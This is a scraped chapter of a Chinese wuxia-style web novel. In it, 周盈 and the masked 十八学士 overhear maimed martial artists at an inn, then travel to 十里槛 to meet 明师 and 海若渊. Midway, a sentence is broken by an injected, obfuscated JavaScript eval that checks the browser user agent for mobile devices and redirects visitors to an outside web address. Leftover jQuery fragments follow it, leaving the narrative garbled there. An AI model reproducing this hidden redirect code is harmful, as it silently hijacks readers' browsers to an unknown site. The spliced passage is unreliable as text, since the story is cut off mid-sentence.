默认冷灰
24号文字
方正启体

13. 不寰鸟(十三)

作者:司买明本书字数:K更新时间:
    一进门,驿馆掌柜高声呵道:“臭小子,又跑哪里去偷懒。还不快带这几位客官上楼!”


    昨晚的招待周盈的掌柜不知走到哪里,正当值的是个火爆脾气的。


    此时,堂上正站着两个走夫打扮的汉子。


    那掌柜吼了一句,表明不是自己怠慢,才从柜上抽出块对牌,不耐烦地扔给堂倌。


    堂倌被劈头盖脸一顿骂,只好接了对牌,说:“公子,您稍等一下,小的先带这两位客官上去,马上就把东西给您送来。”


    周盈见他有事缠身,自然不好追究,自己寻了坐处等着。


    都说靠山吃山,靠海吃海,背靠十里槛这座大山,又是九江通汇之处,九江驿的生意可不是兴隆二字可以形容,灾年的棺材铺也没这么旺。就刚刚这一会儿,踏入门的就有二十多号人。那堂上掌柜把本子左翻右翻,愣是再找不出一间空屋子。


    而且,门口马上又来三个人。


    一刀一剑一棍,显然都是武者。


    三人走到柜前,掌柜两手一摊,表示已经没有房间了。


    那背刀的是个小个儿汉子,一张短脸偏偏长了对冲天眉,生来一副怒发冲冠的样子。听到没有房间,把脸一沉,转身就走了。


    同行两人拉他寻了位置坐下,那位置不偏不倚,正好就在周盈边上。


    刚坐下,一人便耐不住道:“怪我点背,住个店也要吃闭门羹。”


    周盈在一旁听着,这里住不得,寻别处住下就是。单就这条街上,不说食馆,光是客栈就不下二十多家,何必如此哀怨。


    一看,说话的是那个背剑的,满脸青紫色。


    背根儿长棍的似乎是三人中年纪最长的,心事也最重,眉心拧成个标准的“川”字。


    他重重叹了口气:“这次来公室,只望这事儿能了了。”


    谈及公室,周盈马上来了兴趣。堂倌一去就没了影子,十八学士也不知道什么时候来。等人又实在无聊,偏偏他又不好走开。如此甚好,他索性听一听别人如何谈论公室。


    那人说着,便给那小个子刀者倒了杯茶,送到跟前,眉兄虽然勉强接下,却没什么心思饮茶,又将那茶杯重重放下。


    他知道对方的心思,心中万般滋味,道道皆是苦的,又怎是一杯茶冲淡得了!


    等他把茶送到那紫脸剑者跟前,似乎想起了什么,拿茶杯的手又微微缩了回来。


    这三人一坐下就是愁云满天。


    周盈一直注意着他们,又见那紫脸剑者颤颤巍巍伸出左手接过了茶,脸上肌肉似乎被剧烈牵扯到,露出痛苦的表情。


    再一看,他右手袖管却是空空悬着,从肩膀到手掌,一整只胳膊都不见了。


    显然,那张紫脸也不是天生的,而是被打成这样的。那条胳膊,恐怕也是被人齐齐砍下来的。不知是谁下了这种狠手。


    他的紫脸一扯,开口只有丧气话:“公室真会管这事儿吗?”


    话音一落,一旁的眉兄把刀重重贯到桌上:“管,怎不管,难道真没个天理不成!”


    眉兄这一嗓子吼出,立即引来不少人围观。


    那持棍者连忙拉住他,又怕他犯浑,空惹是非。


    开口劝慰道:“二位大人既然已经回来,到时候上了公室,把这事儿说与他们知道,公室必然不会放任不管。”


    在其口中,俨然只有“二位大人”,而无公室大人。


    周盈见他们说话打扮,知是武者。他们既要找公室做主,不知又为何犹疑不定。


    那剑者被打得极慘,痛苦道:“但不是公室辖域里的事,公室又怎好管?”


    眉兄一脸气愤:“就算不是,又怎么管不得?恶鬼不是他家出的,他家不是也管了,难道那群狗日的他们就管不得?”


    一百一十九年前的恶鬼来历不明,处死恶鬼的三摩地在当时并不属于公室辖域,准确来说,是块三不管之地。


    所谓三不管,就是不属于十里槛、晴岚山市、罗刹海任何一家的领域。自从罗刹海人间蒸发以后,便只剩十里槛和晴岚山市各自为政,三不管之地名存实亡。


    那持棍者安抚道:“晴岚山市不理外政,罗刹海多半已经……公室不用顾及他们,也不必束手束脚,这事儿或许还有希望。”


    说完,又叹道:“只恨罗刹海作恶多端,还偏偏留下玄冥帮这个祸害。”


    周盈正想去听“祸害”之后的话,那眉兄却猛然站起身,朝他大呵:“好啊,臭小子!”


    两步冲出:“现在,连你也来拿我们玩笑。”


    周盈一惊,那眉兄已经提刀冲到跟前。


    同行两人见眉兄突来震怒,想到十里槛就在不远处,在公室眼皮底下闹事只怕惹祸上身。又见周盈身上背把长剑,不久才吃了亏,尚且心有余悸,更怕眉兄讨理不成,再吃个亏。


    于是纷纷跑来劝解,生怕眉兄又犯糊涂。


    周盈无意冒犯对方,不管是好是歹,想着先道歉。但他一句抱歉却被轻飘飘淹没在人声浪潮。


    那掌柜瞅着事情不对,连忙跑上来将人劝住。


    眉兄被几个人围着轮番劝,怒气渐渐消去,狠狠瞪了周盈一眼,便闷着不再说话。


    周盈没想到自己无聊举动会引起这么大动静,多亏掌柜和堂倌及时解围。要不然自己理亏,事情闹大了引起公室注意就有麻烦了。


    堂倌疏散了看热闹的众人,对周盈道:“公子必是等得无聊了,现在随我去拿东西就是。”


    说着,引着周盈上了四楼。


    周盈顺口说起找公室诉冤的事。


    堂倌道:“城门口有公室的协管刀卫,公子有事,写好状子,递给他们就是。”


    周盈进城时步履匆忙,一心赶路,居然没注意到守在城门口的金刀卫。


    他道:“无论什么状子公室都会管?”


    堂倌已经上了三楼,边走边道:“能写状子上告公室,多半是非管不可的。不然也不会闲到跑来消遣公室。”


    又听他道:“但也不是什么状子都能到二位大人手上。”


    周盈想了想,比如边境上的四村惨案。


    小堂倌又说:“二位大人刚从边境回来,等着办的案子不说一千,也有八百,自然不是样样都顾得上。”


    周盈道:“朱明公室不管?”


    跟着堂倌上了四楼,听他继续噼里啪啦道:“朱明公室从不出十里槛,自然不管这些事情。”


    抬手推开门,他道:“公子的东西就里面。”


    猝不及防照面,泥偶不悲不喜的脸与周盈四目相望,堂倌惊讶不已,差点儿“啊”地叫出声。


    周盈已将东西拿走,堂倌回过神,道:“公子暂且在这里歇息,与公子同行的大人一会儿就来。”


    说罢,就匆匆下了楼去。


    周盈把泥偶握在手里,泥胎细腻,丝毫没有土腥味儿。翻过来一看,“山神”那双藏在头发后面的手好像真的握着什么。但他真的记不清是在哪里把它弄丢,现在能完完整整回到自己手上,居然连一点儿磕损都没有。


    这个“山神”与自己是有点缘分的,周盈想。


    想着,不知怎的,另一位“山神”那张臭脸继而出现。


    一阵头疼,分明是孽缘。


    没过多久,门外响起脚步声,紧接着又是一记响亮的敲门声。


    一开门,十八学士在前,身后跟着堂倌,堂倌用木托盘装了件衣服,显然是送给周盈的。


    这套衣衫用色虽素,但布料柔软,体量又轻,上面还有若隐若现的花纹,比周盈身上穿的要贵不知多少倍。


    十八学士道:“看你身量托人去成衣铺子找的,你且试试合不合身。”


    在十里槛摸爬滚打了一夜,周盈才新换的衣服已经皱得不像话。二人要想再上公室,的确得换一身新衣服。


    只是装扮换得,海若渊可是见过十八学士真面目的,又不能再换


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796346|190652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    张脸。


    周盈想不出十八学士要怎样瞒过海若渊,道:“我一会儿再试。”


    他转身把那身新装放在桌上,回过头,却见十八学士将手指放到耳边,轻轻一撕,揭下张破如蝉翼的面皮。


    面皮下,露出一张苍老无比的脸。


    十八学士根本不需要藏,因为海若渊看见的根本是张假脸。


    这张脸实在逼真极了,周盈与他相处这几日居然没有看出一点破绽。而且十八学士的年龄远远超乎想象,面具下那张脸布满了皱纹,头发全白,不见半缕黑丝。


    以他如今的模样,即便与海若渊迎面撞上,海若渊只怕也认不出。


    当然,事情远远不止如此简单。原来四村惨案发生没两日,明师便已经发信,希望十八学士去十里槛帮他一个忙。


    明师有求于十二指玉楼,自然不能动十八学士,更要保证他毫发无伤下山。所以当他发现周盈真的闯上十里槛,决定去捞人之前,便先与明师打了招呼。


    至于明师为何拉下面子向十二指玉楼求援,只听十八学士继续道:“明师想让我帮他验证一件事。”


    二人各自换了衣衫,便要前往十里槛。临行之时,却有一个无比尴尬的问题。


    十八学士改头换面,明师和海若渊自然当个睁眼瞎,但周盈就有些难办。因为即便没有昨天闹的那一出,海若渊在酒馆可是当众挨了他一个结结实实的巴掌。


    十八学士想了想,道:“便宜行事,要是不介意,你就说自己出自十二指玉楼。”


    顶着十二指玉楼的名号,公室必然不会计较,周盈不多想,欣然同意。


    昨为梁上君,今为座上宾,尤其一想到又要对上海若渊那张开口就阴阳不停的嘴,周盈就像给刺猬挠了似的,浑身不得劲儿。直到金刀卫恭恭敬敬请他们进门,才又摆出一副世外高人的样子。


    直白点就是——冷下脸,告诉所有人他很不好惹,别与他讲话。


    十里槛本是一座大山,一座占地极广的大山。


    传闻十里槛一槛有十里之距,但传闻一点都不夸张,甚至显得十分含蓄。


    就拿占地最广的第一槛来说,九江驿这种大店在其面前,和颗芝麻粒没什么两样。至于第十槛,则是连飞鸟也到不了的高度,听说那里终年云雾缭绕,不是仙府,胜于仙府。


    然而,一阵走马观花后,周盈只有一个念头,幸好神机十器不在第一槛,否则他就是把腿跑断也未必找到。


    到了第六槛,引路之人从金刀卫换成个翠衣女子。那女子腰上也配把金刀,见了二人,虽不像金刀卫那样恭敬,却也没有丝毫轻慢。


    跟着她又走了一段路,便瞧见一间极其繁丽恢宏的殿宇。


    进入大殿时,明师已经在那里等候。


    明师与海若渊一样都是修者,单看外貌却比海若渊大上十余岁,气质稳重老成,薄薄的嘴唇绷直成条线,让人很难亲近。尤其一双猎鹰似的利眼,看得人发慌。


    周盈收回眼神,正想着海若渊怎地不在,忽然听见一个声音自殿门外极其突兀地传进来。


    “二位,这路走得辛苦。”


    果然,海若渊已缓步踏上大殿。


    周盈听出他的弦外之音,本来就心虚,没想到海若渊偏偏揪着他不放,说:“这位公子有点面熟。”


    周盈知道这人不能搭理,一旦搭上就甩不开。但他又不能真的一句话不吭,不过既然要开口,就少不得也阴阳怪气几句。


    周盈故作惊奇地说:“我瞧大人也有些眼熟,好像……好像在哪里见过。”他故意顿了好一会儿,才说,“对了,大人尊名?”


    海若渊默不作声,只盯着他瞧。气氛骤冷,十八学士终于看不下去,分别介绍了二人,便赶紧进入正题,问:“莱山罗罗现在关押何处?”


    明师道:“正关押在苦牢。”


    于是,二人便知道莱山罗罗折腾一圈,又乖乖回苦牢蹲着了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)